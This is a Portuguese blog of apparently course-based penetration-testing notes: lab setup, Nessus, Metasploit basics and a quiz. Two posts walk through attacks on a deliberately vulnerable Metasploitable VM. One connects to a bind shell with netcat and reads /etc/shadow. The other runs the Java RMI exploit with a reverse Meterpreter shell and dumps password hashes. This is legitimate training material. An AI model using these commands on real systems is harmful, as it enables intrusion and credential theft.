quinta-feira, 9 de março de 2023

Introdução ao Metasploit Framework

 Em alguns posts atrás, nós mexemos no Metasploit Framework (MSF). Mas o que seria ele?

O Metasploit Framework é um dos mais famosos framework de teste de penetração por ser robusto e ter uma versão aberta e grátis (mas também tem a versão Pro e pago). Ela é usada para testar as vulnerabilidades de um sistema de computador ou invadi-las.

Uma das vantagens que usamos a distribuição Kali como sistema operacional é que o MSF já está instalado junto com o sistema.

Já que dei uma introdução, vamos fazer algo mais prático e ver alguns comandos importante. O primeiro é com certeza o comando "msfupdate", afinal, novas vulnerabilidades sempre estão surgindo e você deve manter o MSF atualizado. Caso você esteja usando o Kali, o comando falhará porque o MSF faz parte do sistema operacional, então você deverá usar o "apt update; apt install metasploit-framework" para atualizar.



PS: se tiver problemas em atualizar por problemas de permissão, executar o comando "sudo -s" para obter o root do sistema e então executar o comando acima.

Já para nós utilizarmos o framework, usaremos o msfconsole, a interface mais popular. É uma interface em linha de comando, mas também é a que mais tem recursos e é a mais estável, além de permitir comandos de sistemas, como ping, sem sair do programa. Ao digitar o comando "msfconsole", o framework será inicializado e estaremos prontos para a ação.

Dentro do console, podemos usar o comando "help" para listar todos os comandos que o MSF possui. Os comandos estarão agrupados em categorias. Também o comando explica sobre como indicar as abrangências de IP e outros valores.

Outro comando muito útil é o "search [palavraChave]", que procurará nos módulos, todos os exploits que estiver relacionado com a palavra-chave. Por exemplo, se nós usar o comando "search Firefox", podemos localizar vários exploits que possam afetar o Firefox. Neste comando, as informações estará em seis colunas, mas tem um em especial que é interessante falar, que é a coluna rank.

A coluna rank é uma classificação que serve para ajudar a escolher a vulnerabilidade a ser explorada, que são as seguintes:
  • Excellent: O exploit nunca derrubará o serviço e não é esperado qualquer tipo de corrupção na memória explorando essas falhas, por exemplo: SQL Injection;
  • Great: O exploits possui um alvo padrão ou consegue detectar automáticamente um alvo apropriado ou possui uma execução especifica depois de uma verificação de versão;
  • Good: O exploits possui um alvo padrão e á o caso mais comum;
  • Normal: O exploit é útil, mas depende de uma versão específica e/ou não pode ou consegue ter uma detecção automática;
  • Average:  a falha é dificil de explorar, mas pode ocorrer;
  • Low: A falha é quase impossível de utilizar, ou tem uma chance de sucesso menor que 50%;
  • Manual:  geralmente é  uma falha instável e é basicamente um DoS;
Acho que posso ficar por aqui, no próximo post, vou mostrar mais comandos explorando algumas falhas.


quarta-feira, 8 de março de 2023

Teste de Penetração: Conceitos, terminologia e riscos e dicas

 Segue uma lista de termos usado na área de segurança quando se trata de Hacking:

  • Exploit (noun): um pedaço de software ou sequência de comandos que tira vantagem de uma vulnerabilidade. Um ataque em sistema de computador;
  • Exploits Results: A consequência de um ataque bem sucedido: obter controle de um sistema, escalar privilégios, negação de serviço;
  • Exploit (verb): ato de fazer um ataque ao sistema com sucesso;
  • Vulnerability: Uma falha ou ponto fraco que pode resultar em uma falha de segurança;
  • Payload: Parte do malware que performa uma ação maliciosa;
    • Coisas que podemos fazer num alvo:
      • Acesso ao shell;
      • Acesso a senha;
      • Manter um backdoor;
    • Geralmente são escrito em Assembly;
    • É dependente da plataforma, portanto um payload para Linux vai ser diferente de um para Windows;
Os testes de penetrações também tem riscos durante a sua execução, como:
  • Aplicações dar crash, principalmente em sistemas legados ou serviços customizados;
  • Queda de servidores;
  • Baixa na performance;
  • Modificar configurações;
  • Comprometimento de informações confidencial;
  • Esquecimento de backdoors;
Para mitigar esses riscos, podemos fazer o seguinte:
  • Evitar atacar esses serviços legado ou customizados;
  • Realizar testes em sistemas críticos fora de horário importante;
  • Performar testes no ambiente de teste primeiro e depois para em produção;
  • Configurar monitoramento antes do testes, para caso algo dê problema, o suporte possa investigar e restaurar o sistema.
  • Configure os testes automatizado para não usar muita banda;
  • Tenha um plano de limpeza para reverter configurações e modificações, remover backdoors;
Sites úteis:
  • Exploit Database: www.exploit-db.com
  • Packet Storm: www.packetstormsecurity.com
Exploit Framework
  • Core Impact (poderoso e caro);
  • Immunity Canvas (mais barato que Core Impact ou a versão comercial de Metasploit);
  • Metasploit
Quiz:

1. No Meterpreter, você encontrou um arquivo interessante chamado "senhas.xls". Você quer obter o arquivo no Meterpreter, mas está incerto em como fazert isso. O que você deve usar?
  • comando "download" dentro do Meterpreter;
  • VNC, é a forma mais rápido de copiar dados
  • Não é possivel baixar aquivos dentro do Meterpreter Shell;
2. Matthew, um black hat, conseguiu abrir uma sessão de Meterpreter em uma das máquinas de quiosque do lobby da Evil Corp. Ele verifica seu atual SID, que é S-1-5-21-1223352397-1872883824-861252104-501. O que precisa acontecer antes do Matthew ter acesso de administrador completo?
  • Ele precisa ter acesso físico;
  • Ele precisa fazer ema escala de privilégio (privilege escalation);
  • Ele já tem privilégios de administrador, como mostrado pelo "501" no final do SID;
  • Ele precisa desativar a proteção de antivirus;

terça-feira, 7 de março de 2023

Teste de Penetração + Metaspoitable Framework: Aproveitando de uma Informação: RMI Registry foi detectado

 Vulnerabilidades listada como "INFO" não são necessariamente vulnerabilidades, mas podem também ser aproveitadas se souber o que procurar. Por exemplo, a INFO "RMI Registry Detection". RMI Registry é usado pelo Java, então, vamos ver o que podemos fazer:


Da mesma forma que o post anterior, podemos ver detalhes do servidor e porta:

Mas só porque temos a porta do RMI, não quer dizer que a porta listada esteja vulneravel, mas podemos explorar para ver se achamos uma outras portas abertas por causa de uma falha de um programador, por exemplo. Vamos fazer isso com o seguinte comando:

nmap -sV -sS 10.0.2.4 -p1-65535

isso permitirá ver se tem portas abertas. Provavelmente, não irá encontrar nada, mas então, vamos pedir uma ajudinha para uma outra ferramenta. 

Em um outro terminal, vamos rodar o Metaspoitable Framework, com o comando

msfconsole

e depois de iniciado. digitamos

search java_rmi

Aqui podemos ver duas vulnerabilidades:



Destaquei na imagem a vulnerabilidade que escolhi atacar: a configuração padrão inseguro. Vamos nos aprofundar neste item usando o comando

use exploit/multi/misc/java_rmi_server 

o Metaspoitable vai explicar que a configuração padrão quando não existe um Payload configurado é ir direto para java/meterpreter/reverse_tcp. Vamos ver os payloads padrões usando o comando 

show payloads



Agora, vamos setar o payload do MSF para payload/java/meterpreter/reverse_tcp 

set payload payload/java/meterpreter/reverse_tcp 

e agora vamos mostrar os parâmetros que podemos usar:

show options

Agora alteraremos o parâmetro RHOST com o IP da máquina alvo:

set RHOST 10.0.2.4

e vamos setar o parâmetro SRVHOST com o IP do Kali (o que estamos usando):

set SRVHOST 10.0.2.15

e também vamos setar o LHOST para a nossa máquina:

set LHOST 10.0.2.15




e agora finalmente, vamos rodar o exploit com o comando:

exploit

Com isso, conseguimos uma sessão Meterpreter aberta;


E o que podemos fazer com uma sessão dessas aberta? 
se eu enviar um sysinfo, vamos obter informações do sistema.


e se enviar o seguinte comando:

run post/linux/gather/hashdump

e teremos uma lista de Hash das senhas de todos os usuários do sistema

E isso tudo, conseguindo explorar apenas com uma informação no início. Portanto, não subestime uma INFO.

segunda-feira, 6 de março de 2023

Teste de Penetração + Nessus: Aproveitando de um backdoor

 Agora vou demonstrar um exemplo de como se aproveitar de uma vulnerabilidade. No relatório do Nessus apareceu a seguinte vulnerabilidade: "Bind Shell Backdoor Detection".


Se nós vermos a descrição temos o seguinte "Um shell está escutando em uma porta remota sem nenhuma autenticação sendo requirida. Um atacante pode usá-la conectando-a em uma porta remota e mandar comandos diretamente".




Na parte de baixo podemos ver mais detalhes, como o qual é o host (10.0.2.4) e a porta (1524):

Vamos testar usando o NetCat do Linux para ver se conseguimos uma conexão:
who
nc 10.0.2.4 1524

E no caso, consegui conectar ao Metasploitable:


Daqui consigo enviar qualquer comando para o outro computador:

Um exemplo, como entramos como root, não vai ter problema de eu executar o seguinte comando:

cat /etc/shadow

e obter os hashs das senhas dos usuários da máquina:










domingo, 5 de março de 2023

Teste de Penetração: Agressive Scan com Nessus

 Nessus é uma ferramenta de detecção de vulnerabilidades na rede desenvolvida pela Tenable. Ele possui uma versão profissional, mas também pode ser obtido a versão "Essential", antigamente conhecido como "Home" em versão anteriores. 

Para o treinamento, baixei o Nessus (fiz o cadastro para receber uma chave) e instalei na minha VM do Kali.

dpkg -i [arquivo do Nessus].deb

Depois de instalado, é só iniciar o serviço (ou daemon como se diz no Linux):

service nessusd start

Então, podemos acessar a interface gráfica pelo navegador no endereço https://127.0.0.1:8834 para finalizar a configuração, onde você criará uma conta interna, e finalizar a compilação dos puglins. Essa finalização pode demorar alguns minutos, mas se achar que está demorando demais, verifique se a máquina virtual está configurado com os requisitos mínimos e se tem espaço em disco sobrando. 

Terminado essa parte, podemos prosseguir com o passo de escaneamento.

sábado, 4 de março de 2023

VirtualBox: Placa de Rede do Windows XP

 Enquanto tentava fazer a configuração do VirtualBox para executar o Windows XP durante o curso, tive alguns problemas relacionado à configuração de rede. Ou o Windows XP não reconhecia o dispositivo, ou ele precisava de driver específico instalado. 

Em muitos sites, inclusive da rede StackExchange possui gambiarras para instalar o drive para que a rede funcione corretamente dentro da máquina virtual, entretanto, existe uma opção dentro da própria configuração da VM que dispensa qualquer configuração dentro do Windows XP que é a seguinte:


Tipo de Placa:  Intel PRO/1000 T Server (82543GC)

Esse tipo de placa é 100% compatível com Windows XP sem a necessidade de instalar nenhuma placa de video.

sexta-feira, 3 de março de 2023

Teste de Penetração: Montando o Laboratório de Treino

 Para o estudo de invasão, configurei o Oracle VM VirtualBox com os seguintes sistemas:

  • Kali Linux como sistema base, de onde nós realizaremos nossas ofensivas;
  • Metaspoitable Linux que é um sistema Linux que possui falhas de segurança propositais para justamente aprender a explorar essas falhas;
  • Windows XP SP1: Windows XP que todo mundo conhece;
  • Windows 8: Windows 8 
Depois de instalar os sistemas no Virtual Box, criar um rede NAT e configurar cada máquina para responder a essa mesma rede. 

Depois só testar a conectividade entre as máquinas. Para as máquinas Linux, usar o comando ifconfig para ver os ip atribuídos as máquinas e para o Windows, usar o ipconfig para o mesmo. 

Tendo os IP, no Kali, executar o ping para cada ip para verificar se o mesmo responde. Se responder está tudo certo.

Depois do VirtualBox estiver configurado, vamos instalar no Kali o Nessus Essential (versão grátis) e depois de instalado, poderemos começar a fazer algumas brincadeiras.